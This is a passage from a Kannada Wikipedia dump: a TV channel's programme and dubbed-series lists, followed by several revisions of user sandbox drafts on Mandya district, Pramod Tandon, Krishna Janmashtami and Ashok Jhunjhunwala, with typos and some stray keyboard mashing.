''ಸಿಂಧೂರ'' (2010-2011) * ''ಸಿಂಧೂರ'' (2017-2020) * ''ಸಿಂಗಾರಿ ಬಂಗಾರಿ'' (2014) * ''SSLC ನಾನ್ ಮಕ್ಲು'' (2008-2010) * ''ಸ್ವಾತಿ ಮುತ್ತು'' (2014) * ''ತಿರುಪತಿ ತಿರುಮಲ ವೆಂಕಟೇಶ'' (2012) * ''ತ್ರಿವೇಣಿ ಸಂಗಮ'' (2017) * ''ವರಲಕ್ಷ್ಮಿ ಸ್ಟೋರ್ಸ್'' (2019-2020) * ''ಯಜಮಾನಿ'' (2019-2020)b. V v f f f fg x x d dbdhswjsbs s s e e shzhwbs e d d dbdbsb === ರಿಯಾಲಿಟಿ ಶೋಗಳು === * ''ಆಕ್ಷನ್ ಸ್ಟಾರ್'' * ''ಆನಂದವಾಣಿ'' * ''ಆರೋಗ್ಯ'' * ''[[Bengaluru Benne Dose|ಬೆಂಗಳೂರು ಬೆಣ್ಣೆ ದೋಸೆ]]'' * ''ಭರ್ಜರಿ ಕಾಮಿಡಿ'' * ''ಭವ್ಯ ಬ್ರಹ್ಮಾಂಡ'' * ''ಬೊಂಬಾಟ್ ಭೋಜನ (ಸೀಸನ್ 1)'' * ''[[Bigg Boss Kannada (season 2)|ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ (ಸೀಸನ್ 2)]]'' * ''ಬೊಂಬಾಟ್ ಉಪಹಾರ'' * ''[[Cookku with Kirikku|ಕಿರಿಕ್ಕು ಜೊತೆ ಕುಕ್ಕು]]'' * ''ಕಾಮಿಡಿ ಕೆಫೆ'' * ''ಕನ್ನೆಕ್ಸೀನ್ '' * ''ಡಾನ್ಸ್ ಡಾನ್ಸ್ (ಸೀಸನ್ 1–2)'' * ''ಡಾ.ರಾಜ್ ಅಭಿಮಾನಿ ದೇವರು'' * ''ಗಾನ ಬಜಾನ (ಸೀಸನ್ 1,2)'' * ''ಗರಂ ಮಸಾಲೆ'' * ''ಹಳ್ಳಿ ಹೈದ ಪ್ಯಾಟೆಗ್ ಬಂದ'' * ''ಹೊಸ LUV ಸ್ಟೋರಿ '' * ''ಜಗವೇ ವಿಸ್ಮಯ'' * ''[[ಕನ್ನಡದ ಕೋಟ್ಯಧಿಪತಿ|ಕನ್ನಡದ ಕೋಟ್ಯಾಧಿಪತಿ]] (ಋತು 1–3)'' * ''ಕಥೆ ಅಲ್ಲ ಜೀವನ'' * ''ಅಡಿಗೆ ದರ್ಬಾರ್'' * ''ಕಿಚನ್ ಕಿಲಾಡಿಗಳು'' * ''ಜೀವನ ಇಷ್ಟೇ ನೆ'' * ''ಲಿಟಲ್ ಸ್ಟಾರ್ ಸಿಂಗರ್'' * ''ಮಹರ್ಷಿ ದರ್ಪಣ'' * ''ಮಜಾ ವಿತ್ ಸೃಜ'' * ''ಮನೆ ಅಡುಗೆ'' * ''ಮಾತು ಕಥೆ ವಿನಯ್ ಜೋತೆ'' * ''ಮಾರ್ನಿಂಗ್ ವಿತ್ ಮುರಳಿ'' * ''ಮ್ಯೂಸಿಕ್ ನಾ ಸೂಪರ್ ಸ್ಟಾರ್'' * ''ನಡೆದಿದ್ದೇನು'' * ''ನನ್ನ ಹಾಡು ನನ್ನದು'' * ''ನೀನಾ ನಾನಾ'' * ''ನೀನು ಭಲೇ ಖಿಲ್ಲಡಿ'' * ''ನಂ.1 ಯಾರಿ'' * ''ನೋಡಿ ಸ್ವಾಮಿ ನಾವಿರೋದೆ ಹೀಗೇ'' * ''ಪಾಕ ಶಾಲೆ'' * ''ಪುಟಾಣಿ ಪಂಟ್ರು'' * ''ಪುಟಾಣಿ ವಾರ್ತೆ'' * ''ಪ್ಯಾಟೆ ಹುಡ್ಗೀರ್ ಹಳ್ಳಿ ಲೈಫ್ (ಸೀಸನ್ 1–4)'' * ''ಪ್ಯಾಟೆ ಮಂದಿ ಕಾಡಿಗೆ ಬಂದ್ರು'' * ''[[Samartha Sadguru|ಸಮರ್ಥ ಸದ್ಗುರು]]'' * ''ಸತ್ಯ ನಿತ್ಯ'' * ''ಶ್ '' * ''ಶ್ರೀಕರ'' * ''ಸಿಂಪಲ್ಲಗಿ ಇಂಗ್ಲೀಷ್'' * ''[[Sixth Sense Kannada|ಸಿಕ್ಸ್ತ್ ಸೆನ್ಸ್ ಕನ್ನಡ]]'' * ''ಸ್ಟಾರ್ ಸಿಂಗರ್'' * ''ಸೂಪರ್ ಜೋಡಿ'' * ''ಕರ್ನಾಟಕದ ಸೂಪರ್ ಸ್ಟಾರ್'' * ''ಸೂಪರ್ ಟ್ವಿನ್ಸ್'' * ''ಸುವರ್ಣ ಸಿನಿವಾರ'' * ''ಸುವರ್ಣ ಲೇಡಿಸ್ ಕ್ಲಬ್'' * ''ಸುವರ್ಣ ಪಾಕ ಶಾಲೆ'' * ''ಸುವರ್ಣ ಸೂಪರ್‌ಸ್ಟಾರ್ (ಸೀಸನ್ 1)'' * ''ಸ್ವಲ್ಪ ಅಡ್ಜಸ್ಟ್ ಮಾಡ್ಕೋಳಿ'' * ''ಸ್ವಯಂವರ'' * ''ಸೈ ಟು ಡಾನ್ಸ್'' * ''ತರ್ಲೆ ನಾನ್ ಮಕ್ಳು'' === ಡಬ್ಬಿಂಗ್ ಪ್ರದರ್ಶನಗಳು === {| class="wikitable sortable" !ವರ್ಷ !ಧಾರಾವಾಹಿ !ನಿಂದ ಡಬ್ ಮಾಡಲಾಗಿದೆ !ಸಂಚಿಕೆಗಳ ಸಂಖ್ಯೆ |- |2021 |''ಬೆಸುಗೆ'' |''[[Intiki Deepam Illalu|ಇಂತಿಕಿ ದೀಪಂ ಇಲ್ಲಲು]]'' |89 |- |2021 |''ಚಂದ್ರನಂದಿನಿ'' |''[[Chandra Nandini|ಚಂದ್ರ ನಂದಿನಿ]]'' |3 |- |2020 |''ಕಥೆಯ ರಾಜಕುಮಾರಿ'' |''[[Kathalo Rajakumari (TV series)|ಕಥಲೋ ರಾಜಕುಮಾರಿ]]'' |79 |- |2020 |''ಮಹಾಭಾರತ'' |''[[Mahabharat (2013 TV series)|ಮಹಾಭಾರತ]]'' |156 |- |2020 |''ಮಾಯಾಜಾಲ'' |''[[Yehh Jadu Hai Jinn Ka!|ಯೆಹ್ ಜಾದು ಹೈ ಜಿನ್ ಕಾ!]]'' |118 |- |2020 |''ಓಂ ನಮಃ ಶಿವಾಯ'' |''[[Devon Ke Dev...Mahadev|ಡೆವೊನ್ ಕೆ ದೇವ್...ಮಹಾದೇವ]]'' |51 |- |2020 |''ರಾಣಿ ಪದ್ಮಿನಿ ದೇವಿ'' |''ಆಮೆ ಕಥಾ'' |41 |- |2021 |''ರೋಬೋ ಸೊಸೆ'' |''[[Bahu Hamari Rajni Kant|ಬಹು ಹಮಾರಿ ರಜನಿ ಕಾಂತ್]]'' |193 |- |2020 |''ಶ್ರೀ ಮಹಾಗಣಪತಿಯ ಭವ್ಯ ಚರಿತೆ'' |''[[Deva Shree Ganesha|ದೇವ ಶ್ರೀ ಗಣೇಶ]]'' |11 |- |2020-2021 |''5 ಸ್ಟಾರ್ ಕಿಚನ್ ITC ಬಾಣಸಿಗರ ವಿಶೇಷ'' |''[[5 STAR Kitchen ITC Chef's Special|5 ಸ್ಟಾರ್ ಕಿಚನ್ ITC ಬಾಣಸಿಗರ ವಿಶೇಷ]]'' |13 |- |2020-2021 |''ದೃಷ್ಟಿ'' |''[[Nazar (TV series)|ನಾಜರ್]]'' |437 |- |2020-2021 |''ಸೀತೆಯ ರಾಮ'' |''[[Siya Ke Ram|ಸಿಯಾ ಕೆ ರಾಮ್]]'' |176 |- |2021-2022 |''ಕರುಲಿನ ಕೂಗು'' |''[[Kumkuma Puvvu|ಕುಂಕುಮ ಪುವ್ವು]]'' |255 |- |2021-2022 |''ದಿವ್ಯ ದೃಷ್ಟಿ'' |''[[Divya Drishti|ದಿವ್ಯ ದೃಷ್ಟಿ]]'' |104 |- |2022 |''ಕವಚ ರಕ್ಷಣೆಗೆ'' |''[[Qayamat Ki Raat|ಖಯಾಮತ್ ಕಿ ರಾತ್]]'' |70 |- |2022 |''ಬಾಲ ಕೃಷ್ಣ'' |''[[Jai Kanhaiya Lal Ki|ಜೈ ಕನ್ಹಯ್ಯಾ ಲಾಲ್ ಕಿ]]'' |108 |- |} == ಚಾನೆಲ್‌ಗಳು == {| class="wikitable" !ಚಾನಲ್ !ವರ್ಗ !SD/HD ಲಭ್ಯತೆ !ಟಿಪ್ಪಣಿಗಳು |- |''ಸ್ಟಾರ್ ಸುವರ್ಣ'' |[[General entertainment channel|ಜಿಈಸಿ]] |SD+HD |ಹಿಂದೆ ''ಏಷ್ಯಾನೆಟ್ ಸುವರ್ಣ'' |- |''[[Star Suvarna Plus|ಸ್ಟಾರ್ ಸುವರ್ಣ ಪ್ಲಸ್]]'' |[[Movies|ಚಲನಚಿತ್ರಗಳು]] |SD |ಹಿಂದೆ ''ಏಷ್ಯಾನೆಟ್ ಸುವರ್ಣ ಪ್ಲಸ್'' |} ==ಉಲ್ಲೇಖಗಳು== [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಡಿಸ್ನಿ ಸ್ಟಾರ್ ಒಡೆತನದ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] inpgku7hruv2d9wzgt6je93hd6sjzah ಸದಸ್ಯ:Manoj k m achar/ನನ್ನ ಪ್ರಯೋಗಪುಟ 2 144806 1116545 1116351 2022-08-24T01:09:36Z Manoj k m achar 77738 wikitext text/x-wiki '''ಮಂಡ್ಯ''' ಜಿಲ್ಲೆಯ ಒಟ್ಟು ವಿಸ್ತೀರ್ಣ *೪೮೫೦ ಚ. ಕಿಮೀ. ೨೦೧೧ ರ ''ಜನಗಣತಿಯಂತೆ'' ಇಲ್ಲಿನ '''''ಮಂದಿಎಣಿಕೆ''''' * ೧೭,೬೧,೭೧೮(೮೮೭೩೦೭ ಗಂಡಸರು, ೮೭೪೪೧೧ ಹೆಂಗಸರು). ಇಲ್ಲಿಯ ಮಂದಿ ಪ್ರಮುಖ ಕಸುಬು ಆರಂಬ. [[ಜಿಲ್ಲೆಜಿಲ್ಲೆಯ ಪ್ರಮುಖ ಬೆಳೆ [[ಕಬ್ಬು]] ಹಾಗೂ ಭತ್ತ. [[ಮಂಡ್ಯ]] ನಗರವು *೭೬° ೧೯' ಮತ್ತು ೭೭° ೨೦' ಪೂರ್ವ ರೇಖಾಂಶ ಮತ್ತು ೧೨° ೧೩' ಮತ್ತು ೧೩° ೦೪' ಉತ್ತರ ಅಕ್ಷಾಂಶಗಳಲ್ಲಿ ವಿಸ್ತರಿ lwche89pwhxr1osg8kbidoyg2o3yufn 1116546 1116545 2022-08-24T01:33:19Z Manoj k m achar 77738 wikitext text/x-wiki '''ಮಂಡ್ಯ''' ಜಿಲ್ಲೆಯ ಒಟ್ಟು ವಿಸ್ತೀರ್ಣ *೪೮೫೦ ಚ. ಕಿಮೀ. ೨೦೧೧ ರ ''ಜನಗಣತಿಯಂತೆ'' ಇಲ್ಲಿನ '''''ಮಂದಿಎಣಿಕೆ''''' * ೧೭,೬೧,೭೧೮(೮೮೭೩೦೭ ಗಂಡಸರು, ೮೭೪೪೧೧ ಹೆಂಗಸರು). ಇಲ್ಲಿಯ ಮಂದಿ ಪ್ರಮುಖ ಕಸುಬು ಆರಂಬ. [[ಜಿಲ್ಲೆಜಿಲ್ಲೆಯ ಪ್ರಮುಖ ಬೆಳೆ [[ಕಬ್ಬು]] ಹಾಗೂ ಭತ್ತ. [[ಮಂಡ್ಯ]] ನಗರವು *೭೬° ೧೯' ಮತ್ತು ೭೭° ೨೦' ಪೂರ್ವ ರೇಖಾಂಶ ಮತ್ತು ೧೨° ೧೩' ಮತ್ತು ೧೩° ೦೪' ಉತ್ತರ ಅಕ್ಷಾಂಶಗಳಲ್ಲಿ ವಿಸ್ತರಿದೆ ಪ್ರಮೋದ್ ತಂದೋನ್ ರವರು ಭಾರತೀಯ ಸಸ್ಯ ಬಯೋಟೆಕ್ನಾಲಜಿಸ್ಟ್ ಮತ್ತು ಅಕಾಡೆಮಿಕ್. ಇವರು ಸಸ್ಯಶಾಸ್ತ್ರ ವಿಭಾಗದ ಮಾಜಿ ಪ್ರೊಫೆಸರ್ ಮತ್ತು ನಾರ್ತ್ ಈಸ್ಟ್ರನ್ ಹಿಲ್ ಯುನಿವರ್ಸಿಟಿಯ ಉಪಕುಲಪತಿ ಯಾಗಿದ್ದರು. ಶಿಲಾಂಗ್ ಮತ್ತು ಲಕ್ನೋ ನಲ್ಲಿರುವ ಬಯೋಟೆಕ್ ಪಾರ್ಕ್ ನ ಸಂಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾಗಿದ್ದಾರೆ. 7gqmqzyq0mnkcve7vwov3q215olkxcm 1116549 1116546 2022-08-24T02:02:16Z Manoj k m achar 77738 wikitext text/x-wiki '''ಮಂಡ್ಯ''' ಜಿಲ್ಲೆಯ ಒಟ್ಟು ವಿಸ್ತೀರ್ಣ *೪೮೫೦ ಚ. ಕಿಮೀ. ೨೦೧೧ ರ ''ಜನಗಣತಿಯಂತೆ'' ಇಲ್ಲಿನ '''''ಮಂದಿಎಣಿಕೆ''''' * ೧೭,೬೧,೭೧೮(೮೮೭೩೦೭ ಗಂಡಸರು, ೮೭೪೪೧೧ ಹೆಂಗಸರು). ಇಲ್ಲಿಯ ಮಂದಿ ಪ್ರಮುಖ ಕಸುಬು ಆರಂಬ. [[ಜಿಲ್ಲೆಜಿಲ್ಲೆಯ ಪ್ರಮುಖ ಬೆಳೆ [[ಕಬ್ಬು]] ಹಾಗೂ ಭತ್ತ. [[ಮಂಡ್ಯ]] ನಗರವು *೭೬° ೧೯' ಮತ್ತು ೭೭° ೨೦' ಪೂರ್ವ ರೇಖಾಂಶ ಮತ್ತು ೧೨° ೧೩' ಮತ್ತು ೧೩° ೦೪' ಉತ್ತರ ಅಕ್ಷಾಂಶಗಳಲ್ಲಿ ವಿಸ್ತರಿದೆ ಪ್ರಮೋದ್ ತಂದೋನ್ ರವರು ಭಾರತೀಯ ಸಸ್ಯ ಬಯೋಟೆಕ್ನಾಲಜಿಸ್ಟ್ ಮತ್ತು ಅಕಾಡೆಮಿಕ್. ಇವರು ಸಸ್ಯಶಾಸ್ತ್ರ ವಿಭಾಗದ ಮಾಜಿ ಪ್ರೊಫೆಸರ್ ಮತ್ತು ನಾರ್ತ್ ಈಸ್ಟ್ರನ್ ಹಿಲ್ ಯುನಿವರ್ಸಿಟಿಯ ಉಪಕುಲಪತಿ ಯಾಗಿದ್ದರು. ಶಿಲಾಂಗ್ ಮತ್ತು ಲಕ್ನೋ ನಲ್ಲಿರುವ ಬಯೋಟೆಕ್ ಪಾರ್ಕ್ ನ ಸಂಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾಗಿದ್ದಾರೆ. ಶ್ರೀಯುತರಿಗೆ ಭಾರತ ಸರ್ಕಾರವು ನಾಲ್ಕು ಎತ್ತರದ ಸಿವಿಲಿಯನ್ ಪದ್ಮಶ್ರೀ ಪುರಸ್ಕಾರವನ್ನು ಇವರ ವಿಜ್ಞಾನ ಸಾಧನೆಗೆ 2009 ರಲ್ಲಿ ಪ್ರಕಟಿಸಿತು ಬಾಲ್ಯ ಮತ್ತು ಶಿಕ್ಷಣ ತಂದೂರ್ ಅವರು 6 ಅಕ್ಟೋಬರ್ 1950 ರಲ್ಲಿ ಲಕ್ನೋದಲ್ಲಿ ಜನಿಸಿದರು. ಲಕ್ನೋ ಯೂನಿವರ್ಸಿಟಿಯಿಂದ 1971 ರಲ್ಲಿ ಬಿಎಸ್ಸಿ ಮತ್ತು ಎಂಎಸ್ಸಿ ಪದವಿಯನ್ನು ಸಸ್ಯಶಾಸ್ತ್ರದ ವಿಷಯದಲ್ಲಿ ಪಡೆದುಕೊಂಡರು. 1976 ರಲ್ಲಿ ಜೋದ್ಪುರ್ ಯೂನಿವರ್ಸಿಟಿ ಇಂದ ಪಿಎಚ್ಡಿ ಪದವಿಯನ್ನು ಕೂಡಾ ಪಡೆದುಕೊಂಡರು. 1977 ರಲ್ಲಿ ನಾರ್ತ್ ಈಸ್ಟರ್ನ್ ಹಿಲ್ ಯೂನಿವರ್ಸಿಟಿಗೆ ಅಧ್ಯಾಪಕರಾಗಿ ಸೇರಿಕೊಂಡರು ಮತ್ತು ನಂತರ ಉಪಕುಲಪತಿ ಹುದ್ದೆಗೂ ಏರಿದರು. ತಂದೋನು ರವರಿಗೆ ಭಾರತ ಸರ್ಕಾರದಿಂದ ಹೊರದೇಶಗಳಲ್ಲಿ ಓದುವುದಕ್ಕೆ ವಿದ್ಯಾರ್ಥಿವೇತನ ದೊರೆಯಿತು ಮತ್ತು ಇರುವಿನ ಯೂನಿವರ್ಸಿಟಿ ಆಫ್ ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ ದಲ್ಲಿ ಡಿಪಾರ್ಟ್ಮೆಂಟ್ ಆಫ್ ಮೋನಿಕಲರ್ ಬಯಲಾಜಿ & ಬಯೋ ಕೆಮಿಸ್ಟ್ರಿಯಲ್ಲಿ ಕೂಡ ಇವರು ಕಾರ್ಯನಿರ್ವಹಿಸಿದ್ದಾರೆ. 1989 ರಿಂದ1995 ವರೆಗೆ ಜಪಾನಿನ ನ್ಯಾಷನಲ್ ಇನ್ಸ್ಟಿಟ್ಯೂಟ್ ಆಫ್ ಏರೋಬಯೋಲಜಿ ರಿಸೋರ್ಸಸ್ ಮತ್ತು ನಾನಾ ಯೂನಿವರ್ಸಿಟಿಗಳಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿದ್ದಾರೆ. ವೈಯಕ್ತಿಕ ಜೀವನ ತಂದೂರ್ ರವರು ವೀಣಾ ತಂದೂರ್ ಅವರೊಂದಿಗೆ ವಿವಾಹವಾದರು, ಇವರು ಕೂಡ ಪ್ಯಾರಸಿಟೋಲೋಗಿಸ್ಟ್ ಮತ್ತು ನಾರ್ತ್ ಇಷ್ಟಂ ಇಲಿ ಉಣಿವರ್ಸಿಟೀಸ್ ಮಾಜಿ ಪ್ರಾಧ್ಯಾಪಕರು. ಇವರಿಬ್ಬರ ಮಗನ ಹೆಸರು ಪ್ರತೀಕ್. ಪ್ರಶಸ್ತಿಗಳು * ರಾಷ್ಟ್ರಪತಿಗಳಿಂದ ಪದ್ಮಶ್ರೀ ಪುರಸ್ಕಾರ 2009 * ಪ್ರಧಾನ ಮಂತ್ರಿಗಳಿಂದ ಅವಾರ್ಡ್ ಆಫ್ ಮಿಸಲೇನಿಯಸ್ ಪ್ಲಗಿಂಸ್ * ಎಂಎಸ್ ಯುನಿವರ್ಸಿಟಿ ಆಫ್ ಬರೋಡಾ ದಿಂದ ಪ್ರೊಫೆಸರ್ ಚವನ್ ಮೆಮೋರಿಯಲ್ ಲೆಕ್ಚರ್ ಅವಾರ್ಡ್ p4lu4ahxiec240hxe3pqlufofwaqcmd ಸದಸ್ಯ:Sneha Rechanna/ನನ್ನ ಪ್ರಯೋಗಪುಟ 2 144809 1116502 1116350 2022-08-23T15:26:26Z Sneha Rechanna 77740 wikitext text/x-wiki ನನ್ನ ಹೆಸರು '''ಸ್ನೇಹ ಆರ್'''ನಾನು ಜಿ. ಮಾದೇಗೌಡ ತಾ೦ತ್ರಿಕ ವಿಶ್ವ ವಿದ್ಯಾಲಯದಲ್ಲಿ ವ್ಯಾಸಾ೦ಗ ಮಾಡುತ್ತಿದೇನೆ. ನನ್ನ ಪ್ರಾಥಮಿಕ ಶಿಕ್ಶಣವಣನು ಬೆಂಗಳೂರು ಕರ್ನಾಟಕ ರಾಜ್ಯದ ದೊಡ್ಡ ನಗರ ಮತ್ತು ರಾಜಧಾನಿ ಕೇಂದ್ರ, ಜಿಲ್ಲಾಕೇಂದ್ರ ಮತ್ತು ತಾಲ್ಲೂಕು ಕೇಂದ್ರ ಹಾಗೂ ಕಸಬಾ ಹೋಬಳಿಯ ಕೇಂದ್ರ ಬೆಂಗಳೂರು ನಗರ. ಬೆಂಗಳೂರು ತಾಲೂಕು 392 ಚ.ಕಿ.ಮೀ ವಿಸ್ತೀರ್ಣ ಹೊಂದಿದೆ. 1956ರಲ್ಲಿ ಬೆಂಗಳೂರು 3 ತಾಲ್ಲೂಕುಗಳನ್ನು ಹೊಂದಿದ್ದು, ಬೆಂಗಳೂರು ಉತ್ತರ, ಬೆಂಗಳೂರು ದಕ್ಷಿಣ, ಆನೇಕಲ್. ಶ್ರಾವಣ ಮಾಸದಲ್ಲಿ ಬರುವ ಕೃಶ್ಣಾ ಪಕ್ಷದ ಅಷ್ಟಮಿ ಕೃಷ್ಣನು ಹುಟ್ಟಿದ ದಿನ. ಅಷ್ಟಮಿಯ ಮಧ್ಯರಾತ್ರಿ, ಕಾರಾಗೃಹದಲ್ಲಿ '''ಕೃಷ್ಣನ ಜನನವಾಯಿತೆಂದು''' ಪುರಾಣಗಳಲ್ಲಿ ಉಲ್ಲೇಖಿಸಲ್ಪಟ್ಟಿದೆ.[೧] ಮಥುರಾ ಕೃಷ್ಣನ ಜನ್ಮಸ್ಥಳ. ಕೃಷ್ಣನು ಹುಟ್ಟಿದೊಡನೆ ತಂದೆ ವಸುದೇವ ಅವನನ್ನು ಸೋದರಮಾವನಾದ ಕಂಸನಿಗೆ ತಿಳಿಯದಂತೆ ಗೋಕುಲಕ್ಕೆ ಕರೆದೊಯ್ಯುತ್ತಾನೆ. ಅಲ್ಲಿ ನಂದರಾಜನ ಮನೆಯಲ್ಲಿ ಕೃಷ್ಣನ ನ್ನು ಬಿಟ್ಟು ಬರುತ್ತಾನೆ. ಈ ಕಾರ್ಯಕ್ಕೆ ಪ್ರಕೃತಿಯು ನೆರವಾಗುತ್ತದೆ. ದೇವಕಿ ಕೃಷ್ಣನಿಗೆ ಜನ್ಮ ನೀಡಿದ ತಾಯಿಯಾದರೆ, ಯಶೋದೆ ಅವನನ್ನು ಸಾಕಿ ಬೆಳೆಸಿದ ತಾಯಿ. ಕೃಷ್ಣಜನ್ಮಾಷ್ಟಮಿಯ ದಿನದಂದು, ಮನೆ ಮತ್ತು ದೇವಾಲಯಗಳನ್ನು ಸುಂದರವಾಗಿ ಅಲಂಕರಿಸಲಾಗುತ್ತದೆ. ಕೃಷ್ಣನ ಪುಟ್ಟ ಹೆಜ್ಜೆಗಳನ್ನು ರಂಗೋಲಿಯಲ್ಲಿ ಬರೆದು ಸಂಭ್ರಮಿಸಲಾಗುತ್ತದೆ. ಕೃಷ್ಣನ ವಿಗ್ರಹಗಳನ್ನು ವಿಧವಿಧವಾಗಿ ಅಲಂಕರಿಸಿ, ಬಗೆಬಗೆಯ ತಿಂಡಿಗಳ ನ್ನು ಮಾಡಿ ಬಾಲ ''ಕೃಷ್ಣನನ್ನುಪೂಜಿಸಲಾಗುತ್ತದೆ.'' ಕೆಲವು ಕಡೆ, ಮಧ್ಯರಾತ್ರಿಯವರೆಗೆ ಉಪವಾಸವಿದ್ದು, ನಂತರ ಆಹಾರ ಸ್ವೀಕರಿಸುವ ಸಂಪ್ರದಾಯವಿದೆ. ಉಡುಪಿಯಲ್ಲಿ ಈ ದಿನದಂದು ವಿಶೇಷ ಪೂಜೆಗಳನ್ನು ನಡೆಸಲಾಗುತ್ತದೆ. *ಗುಲಾಬಿ *ಸ೦ಪಿಗೆ *ಮಲ್ಲಿಗೆ *ಸೇವ೦ತಿಗೆ ರಾಜ್ಯಗಳ ಹೆಸರು; #ಕೇರಳ #ಮ೦ಗಳೊರು ಅಶೋಕ್ ಜುoಜುನ್ವಾಲಾವರು ೧೯೫೩ ಜೂನ್ ೨೨ ರಂದು ಜನಿಸಿದರು. ಇವರು ತಮ್ಮ ಬಿ. ಟೆಕ್ (ಎಲೆಟ್ರಿಕಲ್ ಇoಜಿನೀರಿಂಗ್ ) ಅನ್ನು ಭಾರತದ ವಿಶ್ವ ವಿದ್ಯಾಲಯ ಖನ್ಪೂರ್ ನಲ್ಲಿ ಮುಗಿಸಿದರು. ಹಾಗು ತಮ್ಮ ಪಿ.ಎಚ್. ಡಿ ಪದವಿಯನ್ನು ಮೈನೆ ವಿಶ್ವ ವಿದ್ಯನಿಲಯದಲ್ಲಿ ಮುಗಿಸಿದರು.ಇವರು ಭಾರತ ತಾಂತ್ರಿಕ ವಿಶ್ವ ವಿದ್ಯಾಲಯ ಮದ್ರಾಸಿನಲ್ಲಿ ೧೯೮೧ ರಿಂದ ಪ್ರದ್ಯಾಪಕರಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದ್ದಾರೆ. ಆರಂಭಿಕ ಜೀವನ ಅಶೋಕ್ ಜುoಜುನ್ವಾಲಾರವರು ೧೯೫೩ ಜೂನ್ ೨೨ ರಂದು ಕೊಲ್ಕತ್ತಾ ಜಿಲ್ಲೆಯ ಮಾರವಾಡಿ ಕುಟುಂಬದಲ್ಲಿ ಜನಿಸಿದರು.ಇವರ ಅಜ್ಜ ಗಾoಧೀವಾಡಿಯಾಗಿದ್ದರು.ಇವರು ತಮ್ಮ ಪ್ರೌಢ ಶಿಕ್ಷಣವನ್ನು ಸೆಂಟ್ ಲಾರೆನ್ಸ್ ಕೊಲ್ಕತ್ತದಲ್ಲಿ ಮುಗಿಸಿದರು. ಇವರು ವಾಷಿಂಗ್ಟನ್ ವಿದ್ಯಾಲಯದಲ್ಲಿ ಅಧ್ಯಾಪಕರಾಗಿದ್ದರು. ಶೈಕ್ಷಣಿಕ ವೃತ್ತಿ ಪ್ರೊ. ಅಶೋಕ್ ಜುಂಜುನ್ವಾಲಾರವರು ಯು.ಎಸ್.ಎ ಯಲ್ಲಿರುವ ವಾಷಿಂಗ್ ಟನ್ ವಿಶ್ವ ವಿದ್ಯಾಲಯದಲ್ಲಿ ಮೊದಲ ಬಾರಿಗೆ ೧೯೭೯ ರಿಂದ ೧೯೮೦ ರವರೆಗೆ ಸೇವೆಸಲ್ಲಿಸಿದ್ಧಾರೆ. ನಂತರ ಇವರು ೧೯೮೧ ರಲ್ಲಿ ಐಐಟಿ ಮದ್ರಾಸಿನಲ್ಲಿ ಎಲೆಕ್ಟ್ರಿಕಲ್ ವಿಭಾಗದಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿತಿದ್ದರೆ.ಇವರು ನಾನಾ ವಿಭಾಗಗಳಾದ ಆಪ್ಟಿಕಲ್ ಸಂವಹನ,ಕಂಪ್ಯೂಟರ್ ಜಾಲಗಳು,ನಿಸ್ತಂತು ಸಂವಹನ, 3m355nv6s15ntpzm23hz7r30qsrayev 1116538 1116502 2022-08-23T18:48:01Z Sneha Rechanna 77740 wikitext text/x-wiki ನನ್ನ ಹೆಸರು '''ಸ್ನೇಹ ಆರ್'''ನಾನು ಜಿ. ಮಾದೇಗೌಡ ತಾ೦ತ್ರಿಕ ವಿಶ್ವ ವಿದ್ಯಾಲಯದಲ್ಲಿ ವ್ಯಾಸಾ೦ಗ ಮಾಡುತ್ತಿದೇನೆ. ನನ್ನ ಪ್ರಾಥಮಿಕ ಶಿಕ್ಶಣವಣನು ಬೆಂಗಳೂರು ಕರ್ನಾಟಕ ರಾಜ್ಯದ ದೊಡ್ಡ ನಗರ ಮತ್ತು ರಾಜಧಾನಿ ಕೇಂದ್ರ, ಜಿಲ್ಲಾಕೇಂದ್ರ ಮತ್ತು ತಾಲ್ಲೂಕು ಕೇಂದ್ರ ಹಾಗೂ ಕಸಬಾ ಹೋಬಳಿಯ ಕೇಂದ್ರ ಬೆಂಗಳೂರು ನಗರ. ಬೆಂಗಳೂರು ತಾಲೂಕು 392 ಚ.ಕಿ.ಮೀ ವಿಸ್ತೀರ್ಣ ಹೊಂದಿದೆ. 1956ರಲ್ಲಿ ಬೆಂಗಳೂರು 3 ತಾಲ್ಲೂಕುಗಳನ್ನು ಹೊಂದಿದ್ದು, ಬೆಂಗಳೂರು ಉತ್ತರ, ಬೆಂಗಳೂರು ದಕ್ಷಿಣ, ಆನೇಕಲ್. ಶ್ರಾವಣ ಮಾಸದಲ್ಲಿ ಬರುವ ಕೃಶ್ಣಾ ಪಕ್ಷದ ಅಷ್ಟಮಿ ಕೃಷ್ಣನು ಹುಟ್ಟಿದ ದಿನ. ಅಷ್ಟಮಿಯ ಮಧ್ಯರಾತ್ರಿ, ಕಾರಾಗೃಹದಲ್ಲಿ '''ಕೃಷ್ಣನ ಜನನವಾಯಿತೆಂದು''' ಪುರಾಣಗಳಲ್ಲಿ ಉಲ್ಲೇಖಿಸಲ್ಪಟ್ಟಿದೆ.[೧] ಮಥುರಾ ಕೃಷ್ಣನ ಜನ್ಮಸ್ಥಳ. ಕೃಷ್ಣನು ಹುಟ್ಟಿದೊಡನೆ ತಂದೆ ವಸುದೇವ ಅವನನ್ನು ಸೋದರಮಾವನಾದ ಕಂಸನಿಗೆ ತಿಳಿಯದಂತೆ ಗೋಕುಲಕ್ಕೆ ಕರೆದೊಯ್ಯುತ್ತಾನೆ. ಅಲ್ಲಿ ನಂದರಾಜನ ಮನೆಯಲ್ಲಿ ಕೃಷ್ಣನ ನ್ನು ಬಿಟ್ಟು ಬರುತ್ತಾನೆ. ಈ ಕಾರ್ಯಕ್ಕೆ ಪ್ರಕೃತಿಯು ನೆರವಾಗುತ್ತದೆ. ದೇವಕಿ ಕೃಷ್ಣನಿಗೆ ಜನ್ಮ ನೀಡಿದ ತಾಯಿಯಾದರೆ, ಯಶೋದೆ ಅವನನ್ನು ಸಾಕಿ ಬೆಳೆಸಿದ ತಾಯಿ. ಕೃಷ್ಣಜನ್ಮಾಷ್ಟಮಿಯ 